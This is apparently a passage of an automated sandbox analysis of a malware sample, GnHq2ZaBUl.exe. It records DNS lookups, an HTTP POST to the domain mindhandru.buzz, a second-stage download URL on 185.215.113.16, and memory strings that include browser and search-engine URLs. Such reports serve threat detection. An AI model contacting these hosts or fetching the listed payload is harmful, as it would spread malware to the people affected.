Source: global traffic	DNS traffic detected: DNS query: mindhandru.buzz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz

Source: GnHq2ZaBUl.exe, 00000000.00000003.2344741335.0000000000BC3000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2344507703.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2344789492.0000000000BCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: GnHq2ZaBUl.exe, 00000000.00000003.2344507703.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2352789247.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/;
Source: GnHq2ZaBUl.exe, 00000000.00000003.2438733283.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2344507703.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2352789247.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000002.2461150724.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2344741335.0000000000BC3000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2344789492.0000000000BCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe1520
Source: GnHq2ZaBUl.exe, 00000000.00000002.2459910687.00000000005EA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeeWebKit/537.36
Source: GnHq2ZaBUl.exe, 00000000.00000003.2344507703.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exens
Source: GnHq2ZaBUl.exe, 00000000.00000003.2438733283.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2344507703.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2352789247.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000002.2461150724.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exent
Source: GnHq2ZaBUl.exe, 00000000.00000003.2153633891.0000000005571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: GnHq2ZaBUl.exe, 00000000.00000003.2153633891.0000000005571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: GnHq2ZaBUl.exe, 00000000.00000003.2209691754.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2205439671.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2222836139.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2104814146.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2183217473.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2259499535.0000000000BCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: GnHq2ZaBUl.exe, 00000000.00000003.2153633891.0000000005571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: GnHq2ZaBUl.exe, 00000000.00000003.2153633891.0000000005571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: GnHq2ZaBUl.exe, 00000000.00000003.2153633891.0000000005571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: GnHq2ZaBUl.exe, 00000000.00000003.2153633891.0000000005571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: GnHq2ZaBUl.exe, 00000000.00000003.2153633891.0000000005571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: GnHq2ZaBUl.exe, 00000000.00000002.2466157609.0000000005590000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2438677362.000000000558F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: GnHq2ZaBUl.exe, 00000000.00000003.2153633891.0000000005571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: GnHq2ZaBUl.exe, 00000000.00000003.2153633891.0000000005571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_95.5.dr	String found in binary or memory: http://schema.org/Organization
Source: GnHq2ZaBUl.exe, 00000000.00000003.2153633891.0000000005571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: GnHq2ZaBUl.exe, 00000000.00000003.2153633891.0000000005571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: GnHq2ZaBUl.exe, 00000000.00000003.2106154249.000000000559B000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106023589.000000000559E000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106084164.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_95.5.dr, chromecache_124.5.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_95.5.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_95.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_95.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: GnHq2ZaBUl.exe, 00000000.00000003.2177832654.00000000055EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0
Source: GnHq2ZaBUl.exe, 00000000.00000003.2177832654.00000000055EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: GnHq2ZaBUl.exe, 00000000.00000003.2106154249.000000000559B000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106023589.000000000559E000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106084164.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: GnHq2ZaBUl.exe, 00000000.00000003.2106154249.000000000559B000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106023589.000000000559E000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106084164.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: GnHq2ZaBUl.exe, 00000000.00000003.2106154249.000000000559B000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106023589.000000000559E000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106084164.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: GnHq2ZaBUl.exe, 00000000.00000003.2177832654.00000000055EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: GnHq2ZaBUl.exe, 00000000.00000003.2177688962.00000000055F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: GnHq2ZaBUl.exe, 00000000.00000003.2106154249.000000000559B000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106023589.000000000559E000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106084164.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: GnHq2ZaBUl.exe, 00000000.00000003.2106154249.000000000559B000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106023589.000000000559E000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106084164.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: GnHq2ZaBUl.exe, 00000000.00000003.2106154249.000000000559B000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106023589.000000000559E000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106084164.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_95.5.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_95.5.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_95.5.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_95.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_95.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_95.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_95.5.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_95.5.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_95.5.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_95.5.dr	String found in binary or memory: https://github.com/nschonni
Source: GnHq2ZaBUl.exe, 00000000.00000003.2177832654.00000000055EF000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2177688962.00000000055F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_95.5.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: GnHq2ZaBUl.exe, 00000000.00000003.2177659960.00000000055F4000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2183807083.00000000055F7000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2183419847.00000000055F7000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2259315774.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2153090631.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/
Source: GnHq2ZaBUl.exe, 00000000.00000003.2259315774.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: GnHq2ZaBUl.exe, 00000000.00000003.2104814146.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api3
Source: GnHq2ZaBUl.exe, 00000000.00000003.2104814146.0000000000B97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apiT
Source: GnHq2ZaBUl.exe, 00000000.00000003.2205439671.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2222836139.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2209563175.0000000000B7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apix
Source: GnHq2ZaBUl.exe, 00000000.00000003.2205311319.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/op
Source: GnHq2ZaBUl.exe, 00000000.00000003.2104814146.0000000000B97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/pi4
Source: GnHq2ZaBUl.exe, 00000000.00000003.2205311319.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/piy8
Source: GnHq2ZaBUl.exe, 00000000.00000003.2222771908.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2259315774.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/s18
Source: GnHq2ZaBUl.exe, 00000000.00000003.2205350950.00000000055F7000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2259355703.00000000055F7000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2259449680.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2209486422.00000000055F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/t7
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_104.5.dr	String found in binary or memory: https://schema.org
Source: GnHq2ZaBUl.exe, 00000000.00000003.2154514169.000000000587F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: GnHq2ZaBUl.exe, 00000000.00000003.2154514169.000000000587F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_104.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: GnHq2ZaBUl.exe, 00000000.00000003.2177832654.00000000055EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: GnHq2ZaBUl.exe, 00000000.00000003.2177832654.00000000055EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: GnHq2ZaBUl.exe, 00000000.00000003.2106154249.000000000559B000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106023589.000000000559E000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106084164.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: GnHq2ZaBUl.exe, 00000000.00000003.2106154249.000000000559B000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106023589.000000000559E000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106084164.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: GnHq2ZaBUl.exe, 00000000.00000003.2154514169.000000000587F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: GnHq2ZaBUl.exe, 00000000.00000003.2154514169.000000000587F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: GnHq2ZaBUl.exe, 00000000.00000003.2154514169.000000000587F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: GnHq2ZaBUl.exe, 00000000.00000003.2154514169.000000000587F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: GnHq2ZaBUl.exe, 00000000.00000003.2154514169.000000000587F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: GnHq2ZaBUl.exe, 00000000.00000003.2154514169.000000000587F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49721 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: GnHq2ZaBUl.exe	Static PE information: section name:
Source: GnHq2ZaBUl.exe	Static PE information: section name: .rsrc
Source: GnHq2ZaBUl.exe	Static PE information: section name: .idata

Source: GnHq2ZaBUl.exe, 00000000.00000003.2321260583.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2320929679.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2316413559.0000000005B02000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2322723505.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2322187832.0000000005A09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2315562688.0000000005BCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2317028424.0000000005AFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2328471250.0000000005C90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2344456151.000000000558A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2309810941.0000000005A08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2311479129.0000000005B74000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2312586064.0000000005AD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2312786123.0000000005A06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2326941194.0000000005B4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2317976555.0000000005A11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2310004583.0000000005A13000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2319635481.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2310433372.0000000005A0E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2310921968.0000000005B64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2307003737.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2307003737.00000000056F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2312999716.0000000005ACF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2314396951.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2321732327.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2318884154.0000000005B12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2311032601.0000000005A11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2314781285.0000000005A14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2317819205.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2308241244.0000000005742000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2310196389.0000000005A12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
